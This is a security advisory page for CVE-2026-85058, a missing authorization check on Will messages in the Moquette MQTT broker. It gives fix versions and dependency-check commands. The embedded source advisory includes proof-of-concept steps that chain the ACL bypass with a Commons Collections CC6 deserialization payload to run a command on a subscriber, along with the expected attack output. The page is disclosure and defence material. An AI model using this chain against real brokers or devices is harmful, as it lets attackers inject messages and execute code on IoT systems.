CVE-2026-85058: Moquette broker Moquette-broker Has A Missing Authorization Vulnerability

HIGH
Advisory Identifier: GHSA-9jjc-fw8x-fmwx
CVSS 7.5
CWE-862
Published
Advisory Summary

CVE-2026-85058 is a HIGH (CVSS 7.5) moquette-broker has a missing authorization vulnerability (CWE-862: Missing Authorization) affecting Moquette broker libraries in the Maven ecosystem. The issue involves moquette-broker has a missing authorization issue. Remediation is available by upgrading affected packages to version 0.18.1.

CVE-2026-85058 at a Glance

CVE Identifier CVE-2026-85058
GHSA Identifier GHSA-9jjc-fw8x-fmwx
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-862: Missing Authorization
Affected Product Moquette broker
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-85058

To remediate this vulnerability, upgrade all affected Moquette broker dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.moquette:moquette-broker fixed: 0.18.1
<dependency>
    <groupId>io.moquette</groupId>
    <artifactId>moquette-broker</artifactId>
    <version>0.18.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.moquette

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-85058, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.moquette

Analyze the terminal output to locate any version of Moquette broker in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.18.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.moquette command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Moquette broker, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (`receivedPublishQos0`, `receivedPublishQos1`, `receivedPublishQos2`) correctly invoke `authorizator.canWrite()` before publishing, but the Will message publishing path (`fireWill()` → `publishWill()` → `publish2Subscribers()`) completely bypasses this authorization check. This allows an unauthenticated attacker (when `allow_anonymous=true`, which is the default) to inject arbitrary messages into any ACL-protected topic by setting a restricted topic as the Will Topic in the CONNECT packet and then disconnecting abruptly via TCP RST. Other major MQTT Broker implementations (Mosquitto, EMQX, HiveMQ) correctly enforce ACL checks on Will messages, confirming this is a bug, not a design choice. ## Details In the MQTT protocol, a client can declare a "Will" topic and message in the CONNECT packet. When the client disconnects abnormally (without sending a DISCONNECT packet), the Broker publishes the Will message on behalf of the client. Although the Will message content (topic and payload) is entirely controlled by the connecting client — making it functionally equivalent to a PUBLISH — Moquette skips the ACL check for this path. ### Root Cause **File**: `broker/src/main/java/io/moquette/broker/PostOffice.java` (v0.18.0) Will publishing path (lines 286-328) — **no canWrite() check**: ```java public void fireWill(Session bindedSession) { final ISessionsRepository.Will will = bindedSession.getWill(); if (will.delayInterval == 0) { publishWill(will); // No canWrite() check! } else { trackWillSpecificationForFutureFire(...); } } private void publishWill(ISessionsRepository.Will will) { // ... build message ... publish2Subscribers(WILL_PUBLISKER, messageExpiryInstant, willPublishMessage); // No canWrite() check! } ``` Normal PUBLISH path (line 641) — **has canWrite() check**: ```java if (!authorizator.canWrite(topic, username, clientID)) { LOG.error("client is not authorized to publish on topic: {}", topic); return; } ``` Additionally, `SessionRegistry.createNewWill()` (line 408-428) stores the Will topic from the CONNECT packet without any `canWrite()` pre-check. The `fireWill()`/`publishWill()` method is the only publishing path that does not invoke `authorizator.canWrite()`, creating a complete authorization bypass. ### Prerequisites | Condition | Who controls | Default? | Notes | |-----------|-------------|----------|-------| | Attacker can establish MQTT connection to Broker | Environment | Yes | `allow_anonymous` defaults to true | | Broker has ACL restricting topic write access | Application | No | Only deployments with ACL configured have "bypass" significance, but this is a normal security deployment | | Client disconnects abnormally (TCP RST, not DISCONNECT) | Attacker | Yes | Attacker simply closes the TCP connection | ## PoC Verified against Moquette Broker **v0.18.0** (latest release as of 2024-12-27). All scripts are included in the attached `GitHub_Advisory_POC.zip`. [GitHub_Advisory_POC.zip](https://github.com/user-attachments/files/29499548/GitHub_Advisory_POC.zip) ### Environment Setup **Step 1: Download Moquette Broker v0.18.0** Download the official release bundle from GitHub and extract: ```bash curl -L -o /tmp/moquette-0.18-bundle.tar.gz "https://github.com/moquette-io/moquette/releases/download/v0.18.0/distribution-0.18-bundle.tar.gz" mkdir -p /tmp/moquette-0.18 tar xzf /tmp/moquette-0.18-bundle.tar.gz -C /tmp/moquette-0.18 ``` **Step 2: Configure ACL rules** Replace `/tmp/moquette-0.18/config/acl.conf` with the provided `acl.conf` (from POC zip), which contains: ```conf # acl.conf - restrict write access to restricted/topic topic write allowed/topic topic read restricted/topic ``` > Note: Must use `topic` rules (not `pattern` rules). Moquette's `AuthorizationsCollector.canDoOperation()` skips `pattern` rules when username is null (anonymous users), because `isNotEmpty(null)` returns false. Edit `/tmp/moquette-0.18/config/moquette.conf` to ensure ACL is enabled. Use the provided `moquette.conf` (from POC zip) as reference: ```conf # moquette.conf port 1883 host 0.0.0.0 allow_anonymous true acl_file config/acl.conf ``` **Step 3: Download dependency and compile POC scripts** Download `commons-collections-3.2.1.jar` (required by CC6 deserialization chain) and compile the POC Java sources (all from POC zip): ```bash # Download commons-collections (required for CC6 RCE POC only) # Place commons-collections-3.2.1.jar in /tmp/ # Compile POC scripts cd /tmp javac -cp /tmp/commons-collections-3.2.1.jar CC6PayloadGen.java # CC6 deserialization payload generator javac -cp /tmp/commons-collections-3.2.1.jar AttackerCC6_v018.java # Attacker-side full POC (Will bypass + CC6 RCE) javac MqttDeviceService_v018.java # Victim-side IoT subscriber service ``` Scripts overview: | Script | Language | Purpose | |--------|----------|---------| | `poc_will_bypass.py` | Python | Lightweight Will ACL bypass verification (no Java/deserialization dependency) | | `AttackerCC6_v018.java` | Java | Full attacker POC: generates CC6 payload, verifies ACL blocks direct PUBLISH, bypasses ACL via Will, verifies victim-side RCE | | `CC6PayloadGen.java` | Java | CC6 deserialization payload generator (dependency of AttackerCC6_v018) | | `MqttDeviceService_v018.java` | Java | Victim-side IoT device subscriber — subscribes to `restricted/topic`, deserializes received messages via `ObjectInputStream.readObject()` | | `MoquetteWillAclBypassPoc.java` | Java | Standalone pure-Java POC for v0.15 (no external dependencies, verifies Will ACL bypass only) | | `acl.conf` | Config | ACL rules — `restricted/topic` read-only, no write | | `moquette.conf` | Config | Broker configuration — enables ACL, allows anonymous | ### Reproduction — Will ACL Bypass Only (Python, no dependencies) This verifies the core vulnerability: Will message bypasses ACL. Uses `poc_will_bypass.py`. **Terminal 1 — Start the Broker** (using Moquette's built-in main class `io.moquette.broker.Server`): ```bash cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server ``` Wait for "Server started" log. **Terminal 2 — Run POC**: ```bash python3 poc_will_bypass.py ``` This script automatically performs: 1. Subscriber connects and subscribes to `restricted/topic` 2. Verifies direct PUBLISH to `restricted/topic` is blocked by ACL 3. Attacker connects with Will Topic=`restricted/topic`, then RST-disconnects 4. Checks if subscriber received the Will message on the restricted topic **Expected output**: ``` [Step 1] Direct PUBLISH to restricted/topic (should be blocked) [+] No message - ACL blocking direct PUBLISH (expected) [Step 2] Will ACL Bypass on v0.18.0 SUBACK: 9003000100 Attacker connected, Will set to 'restricted/topic' RST disconnecting attacker... [!!!] WILL MESSAGE RECEIVED on restricted/topic! [!!!] VULNERABILITY CONFIRMED on Moquette v0.18.0! ``` ### Reproduction — Full RCE Chain (Will Bypass + CC6 Deserialization) This demonstrates the real-world impact: Will bypass + Java deserialization = Remote Code Execution. Uses `AttackerCC6_v018.java`, `CC6PayloadGen.java`, and `MqttDeviceService_v018.java`. **Terminal 1 — Start the Broker** (using Moquette's built-in main class `io.moquette.broker.Server`): ```bash cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server ``` Wait for "Server started" log. **Terminal 2 — Start victim subscriber** (`MqttDeviceService_v018.java`): ```bash cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar MqttDeviceService_v018 localhost 1883 ``` This simulates an IoT device that subscribes to `restricted/topic` and deserializes received messages via `ObjectInputStream.readObject()`. Wait for: ``` [等待中] 等待管理平台下发指令... ``` **Terminal 3 — Run attacker POC** (`AttackerCC6_v018.java`): ```bash cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar AttackerCC6_v018 localhost 1883 ``` This script automatically performs: 1. **Generate CC6 payload** — uses `CC6PayloadGen.java` to create a Commons Collections CC6 deserialization chain that executes `touch /tmp/pwned_by_will_bypass_<timestamp>` 2. **Verify direct PUBLISH is blocked** — attempts PUBLISH to `restricted/topic`, confirms ACL blocks it 3. **Bypass ACL via Will** — CONNECT with Will Topic=`restricted/topic`, Will Message=CC6 serialized payload, then RST disconnect 4. **Verify victim-side RCE** — checks if `/tmp/pwned_by_will_bypass_<timestamp>` file was created on the victim > Key verification point: Java CC6 chain triggers `exec` once during `HashMap.put()` when constructing the payload (a known CC6 artifact). The POC deletes this file before the Will bypass step, then verifies the file is re-created by the victim's `readObject()`, confirming the RCE is on the victim side, not a POC construction side-effect. **Expected attacker output** (Terminal 3): ``` === 攻击者 (CC6原生反序列化链) - Moquette v0.18.0 === [1] 生成CC6反序列化payload... payload长度: 1189 字节 [2] 直接PUBLISH到restricted topic (应被ACL拦截)... 已发送 [3] 通过Will消息绕过ACL... 已连接,Will Topic=restricted/topic Will Payload=CC6序列化数据(1189字节) RST断开连接... 已断开,Will消息绕过ACL投递成功 [4] 验证受害者端RCE: -rw-r--r-- 1 fire fire 0 ... /tmp/pwned_by_will_bypass_XXXXXXXXXXXXX *** RCE成功! Will消息绕过ACL投递CC6 payload,受害者readObject()触发命令执行! *** ``` **Expected victim output** (Terminal 2): ``` [收到消息] MQTT消息到达,长度=1189字节 [反序列化] 正在执行 ObjectInputStream.readObject() ... [反序列化] 完成,对象类型: java.util.HashMap ``` ## Impact - **Authorization Bypass**: Attacker can inject arbitrary messages into any ACL-restricted topic, completely undermining the Broker's access control - **Remote Code Execution**: When subscribers deserialize MQTT message payloads (e.g., using Java `ObjectInputStream.readObject()`), attacker can inject deserialization gadgets (e.g., Commons Collections CC6 chain) to achieve RCE - **Affected scope**: All IoT/messaging middleware scenarios using Moquette as MQTT Broker with ACL enabled | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network | MQTT Broker listens on TCP port, network-reachable | | Attack Complexity | Low | Standard MQTT CONNECT + TCP RST, no special conditions needed | | Privileges Required | None | `allow_anonymous` defaults to true | | User Interaction | None | Fully automated attack | | Scope | Unchanged | Impact limited to Broker's security domain | | Confidentiality | None | No data disclosure | | Integrity | High | ACL write protection completely bypassed | | Availability | None | No service disruption | [GitHub_Advisory_POC.zip](https://github.com/user-attachments/files/29499548/GitHub_Advisory_POC.zip)

CVE-2026-85058 Affected Moquette broker Versions

1 component(s)
Fixed Versions:
0.18.1
Product / Package Ecosystem Affected Versions Fixed Version
io.moquette:moquette-broker
Maven
< 0.18.1
0.18.1

References

Frequently Asked Questions

What is CVE-2026-85058?
CVE-2026-85058 is a security vulnerability in Moquette broker involving moquette-broker has a Missing Authorization issue under CWE-862: Missing Authorization.
Which Moquette broker versions are affected?
Affected versions include releases prior to 0.18.1 across affected packages: io.moquette:moquette-broker.
What version fixes CVE-2026-85058?
Upgrading to 0.18.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is moquette-broker affected?
Yes, io.moquette:moquette-broker is affected in releases prior to 0.18.1. Upgrade your dependency to 0.18.1 or later.
What is the CVSS score of CVE-2026-85058?
CVE-2026-85058 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-85058?
CVE-2026-85058 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Maven dependencies for CVE-2026-85058?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.moquette'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9jjc-fw8x-fmwx",
  "modified" : "2026-09-18T17:58:39Z",
  "published" : "2026-09-18T17:58:39Z",
  "aliases" : [ "CVE-2026-85058" ],
  "summary" : "io.moquette:moquette-broker has a Missing Authorization issue",
  "details" : "## Summary\n\nMoquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (`receivedPublishQos0`, `receivedPublishQos1`, `receivedPublishQos2`) correctly invoke `authorizator.canWrite()` before publishing, but the Will message publishing path (`fireWill()` → `publishWill()` → `publish2Subscribers()`) completely bypasses this authorization check.\n\nThis allows an unauthenticated attacker (when `allow_anonymous=true`, which is the default) to inject arbitrary messages into any ACL-protected topic by setting a restricted topic as the Will Topic in the CONNECT packet and then disconnecting abruptly via TCP RST.\n\nOther major MQTT Broker implementations (Mosquitto, EMQX, HiveMQ) correctly enforce ACL checks on Will messages, confirming this is a bug, not a design choice.\n\n## Details\n\nIn the MQTT protocol, a client can declare a \"Will\" topic and message in the CONNECT packet. When the client disconnects abnormally (without sending a DISCONNECT packet), the Broker publishes the Will message on behalf of the client. Although the Will message content (topic and payload) is entirely controlled by the connecting client — making it functionally equivalent to a PUBLISH — Moquette skips the ACL check for this path.\n\n### Root Cause\n\n**File**: `broker/src/main/java/io/moquette/broker/PostOffice.java` (v0.18.0)\n\nWill publishing path (lines 286-328) — **no canWrite() check**:\n```java\npublic void fireWill(Session bindedSession) {\n    final ISessionsRepository.Will will = bindedSession.getWill();\n    if (will.delayInterval == 0) {\n        publishWill(will);  // No canWrite() check!\n    } else {\n        trackWillSpecificationForFutureFire(...);\n    }\n}\n\nprivate void publishWill(ISessionsRepository.Will will) {\n    // ... build message ...\n    publish2Subscribers(WILL_PUBLISKER, messageExpiryInstant, willPublishMessage);\n    // No canWrite() check!\n}\n```\n\nNormal PUBLISH path (line 641) — **has canWrite() check**:\n```java\nif (!authorizator.canWrite(topic, username, clientID)) {\n    LOG.error(\"client is not authorized to publish on topic: {}\", topic);\n    return;\n}\n```\n\nAdditionally, `SessionRegistry.createNewWill()` (line 408-428) stores the Will topic from the CONNECT packet without any `canWrite()` pre-check. The `fireWill()`/`publishWill()` method is the only publishing path that does not invoke `authorizator.canWrite()`, creating a complete authorization bypass.\n\n### Prerequisites\n\n| Condition | Who controls | Default? | Notes |\n|-----------|-------------|----------|-------|\n| Attacker can establish MQTT connection to Broker | Environment | Yes | `allow_anonymous` defaults to true |\n| Broker has ACL restricting topic write access | Application | No | Only deployments with ACL configured have \"bypass\" significance, but this is a normal security deployment |\n| Client disconnects abnormally (TCP RST, not DISCONNECT) | Attacker | Yes | Attacker simply closes the TCP connection |\n\n## PoC\n\nVerified against Moquette Broker **v0.18.0** (latest release as of 2024-12-27). All scripts are included in the attached `GitHub_Advisory_POC.zip`.\n[GitHub_Advisory_POC.zip](https://github.com/user-attachments/files/29499548/GitHub_Advisory_POC.zip)\n### Environment Setup\n\n**Step 1: Download Moquette Broker v0.18.0**\n\nDownload the official release bundle from GitHub and extract:\n\n```bash\ncurl -L -o /tmp/moquette-0.18-bundle.tar.gz \"https://github.com/moquette-io/moquette/releases/download/v0.18.0/distribution-0.18-bundle.tar.gz\"\nmkdir -p /tmp/moquette-0.18\ntar xzf /tmp/moquette-0.18-bundle.tar.gz -C /tmp/moquette-0.18\n```\n\n**Step 2: Configure ACL rules**\n\nReplace `/tmp/moquette-0.18/config/acl.conf` with the provided `acl.conf` (from POC zip), which contains:\n\n```conf\n# acl.conf - restrict write access to restricted/topic\ntopic write allowed/topic\ntopic read restricted/topic\n```\n\n> Note: Must use `topic` rules (not `pattern` rules). Moquette's `AuthorizationsCollector.canDoOperation()` skips `pattern` rules when username is null (anonymous users), because `isNotEmpty(null)` returns false.\n\nEdit `/tmp/moquette-0.18/config/moquette.conf` to ensure ACL is enabled. Use the provided `moquette.conf` (from POC zip) as reference:\n\n```conf\n# moquette.conf\nport 1883\nhost 0.0.0.0\nallow_anonymous true\nacl_file config/acl.conf\n```\n\n**Step 3: Download dependency and compile POC scripts**\n\nDownload `commons-collections-3.2.1.jar` (required by CC6 deserialization chain) and compile the POC Java sources (all from POC zip):\n\n```bash\n# Download commons-collections (required for CC6 RCE POC only)\n# Place commons-collections-3.2.1.jar in /tmp/\n\n# Compile POC scripts\ncd /tmp\njavac -cp /tmp/commons-collections-3.2.1.jar CC6PayloadGen.java          # CC6 deserialization payload generator\njavac -cp /tmp/commons-collections-3.2.1.jar AttackerCC6_v018.java       # Attacker-side full POC (Will bypass + CC6 RCE)\njavac MqttDeviceService_v018.java                                         # Victim-side IoT subscriber service\n```\n\nScripts overview:\n\n| Script | Language | Purpose |\n|--------|----------|---------|\n| `poc_will_bypass.py` | Python | Lightweight Will ACL bypass verification (no Java/deserialization dependency) |\n| `AttackerCC6_v018.java` | Java | Full attacker POC: generates CC6 payload, verifies ACL blocks direct PUBLISH, bypasses ACL via Will, verifies victim-side RCE |\n| `CC6PayloadGen.java` | Java | CC6 deserialization payload generator (dependency of AttackerCC6_v018) |\n| `MqttDeviceService_v018.java` | Java | Victim-side IoT device subscriber — subscribes to `restricted/topic`, deserializes received messages via `ObjectInputStream.readObject()` |\n| `MoquetteWillAclBypassPoc.java` | Java | Standalone pure-Java POC for v0.15 (no external dependencies, verifies Will ACL bypass only) |\n| `acl.conf` | Config | ACL rules — `restricted/topic` read-only, no write |\n| `moquette.conf` | Config | Broker configuration — enables ACL, allows anonymous |\n\n### Reproduction — Will ACL Bypass Only (Python, no dependencies)\n\nThis verifies the core vulnerability: Will message bypasses ACL. Uses `poc_will_bypass.py`.\n\n**Terminal 1 — Start the Broker** (using Moquette's built-in main class `io.moquette.broker.Server`):\n\n```bash\ncd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server\n```\n\nWait for \"Server started\" log.\n\n**Terminal 2 — Run POC**:\n\n```bash\npython3 poc_will_bypass.py\n```\n\nThis script automatically performs:\n1. Subscriber connects and subscribes to `restricted/topic`\n2. Verifies direct PUBLISH to `restricted/topic` is blocked by ACL\n3. Attacker connects with Will Topic=`restricted/topic`, then RST-disconnects\n4. Checks if subscriber received the Will message on the restricted topic\n\n**Expected output**:\n```\n[Step 1] Direct PUBLISH to restricted/topic (should be blocked)\n  [+] No message - ACL blocking direct PUBLISH (expected)\n\n[Step 2] Will ACL Bypass on v0.18.0\n  SUBACK: 9003000100\n  Attacker connected, Will set to 'restricted/topic'\n  RST disconnecting attacker...\n  [!!!] WILL MESSAGE RECEIVED on restricted/topic!\n  [!!!] VULNERABILITY CONFIRMED on Moquette v0.18.0!\n```\n\n### Reproduction — Full RCE Chain (Will Bypass + CC6 Deserialization)\n\nThis demonstrates the real-world impact: Will bypass + Java deserialization = Remote Code Execution. Uses `AttackerCC6_v018.java`, `CC6PayloadGen.java`, and `MqttDeviceService_v018.java`.\n\n**Terminal 1 — Start the Broker** (using Moquette's built-in main class `io.moquette.broker.Server`):\n\n```bash\ncd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server\n```\n\nWait for \"Server started\" log.\n\n**Terminal 2 — Start victim subscriber** (`MqttDeviceService_v018.java`):\n\n```bash\ncd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar MqttDeviceService_v018 localhost 1883\n```\n\nThis simulates an IoT device that subscribes to `restricted/topic` and deserializes received messages via `ObjectInputStream.readObject()`. Wait for:\n\n```\n[等待中]   等待管理平台下发指令...\n```\n\n**Terminal 3 — Run attacker POC** (`AttackerCC6_v018.java`):\n\n```bash\ncd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar AttackerCC6_v018 localhost 1883\n```\n\nThis script automatically performs:\n1. **Generate CC6 payload** — uses `CC6PayloadGen.java` to create a Commons Collections CC6 deserialization chain that executes `touch /tmp/pwned_by_will_bypass_<timestamp>`\n2. **Verify direct PUBLISH is blocked** — attempts PUBLISH to `restricted/topic`, confirms ACL blocks it\n3. **Bypass ACL via Will** — CONNECT with Will Topic=`restricted/topic`, Will Message=CC6 serialized payload, then RST disconnect\n4. **Verify victim-side RCE** — checks if `/tmp/pwned_by_will_bypass_<timestamp>` file was created on the victim\n\n> Key verification point: Java CC6 chain triggers `exec` once during `HashMap.put()` when constructing the payload (a known CC6 artifact). The POC deletes this file before the Will bypass step, then verifies the file is re-created by the victim's `readObject()`, confirming the RCE is on the victim side, not a POC construction side-effect.\n\n**Expected attacker output** (Terminal 3):\n```\n=== 攻击者 (CC6原生反序列化链) - Moquette v0.18.0 ===\n[1] 生成CC6反序列化payload...\n    payload长度: 1189 字节\n[2] 直接PUBLISH到restricted topic (应被ACL拦截)...\n    已发送\n[3] 通过Will消息绕过ACL...\n    已连接,Will Topic=restricted/topic\n    Will Payload=CC6序列化数据(1189字节)\n    RST断开连接...\n    已断开,Will消息绕过ACL投递成功\n[4] 验证受害者端RCE:\n    -rw-r--r-- 1 fire fire 0 ... /tmp/pwned_by_will_bypass_XXXXXXXXXXXXX\n    *** RCE成功! Will消息绕过ACL投递CC6 payload,受害者readObject()触发命令执行! ***\n```\n\n**Expected victim output** (Terminal 2):\n```\n[收到消息] MQTT消息到达,长度=1189字节\n[反序列化] 正在执行 ObjectInputStream.readObject() ...\n[反序列化] 完成,对象类型: java.util.HashMap\n```\n\n## Impact\n\n- **Authorization Bypass**: Attacker can inject arbitrary messages into any ACL-restricted topic, completely undermining the Broker's access control\n- **Remote Code Execution**: When subscribers deserialize MQTT message payloads (e.g., using Java `ObjectInputStream.readObject()`), attacker can inject deserialization gadgets (e.g., Commons Collections CC6 chain) to achieve RCE\n- **Affected scope**: All IoT/messaging middleware scenarios using Moquette as MQTT Broker with ACL enabled\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network | MQTT Broker listens on TCP port, network-reachable |\n| Attack Complexity | Low | Standard MQTT CONNECT + TCP RST, no special conditions needed |\n| Privileges Required | None | `allow_anonymous` defaults to true |\n| User Interaction | None | Fully automated attack |\n| Scope | Unchanged | Impact limited to Broker's security domain |\n| Confidentiality | None | No data disclosure |\n| Integrity | High | ACL write protection completely bypassed |\n| Availability | None | No service disruption |\n[GitHub_Advisory_POC.zip](https://github.com/user-attachments/files/29499548/GitHub_Advisory_POC.zip)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.moquette:moquette-broker"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.18.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/moquette-io/moquette/security/advisories/GHSA-9jjc-fw8x-fmwx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/moquette-io/moquette/commit/e23df019f6a11e22c7d2047d4f86d07095466c97"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/moquette-io/moquette/commit/f5a323fe782d1505c0097498cb22eb6ec6c96973"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/moquette-io/moquette"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/moquette-io/moquette/releases/tag/v0.18.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-18T17:58:39Z",
    "nvd_published_at" : null
  }
}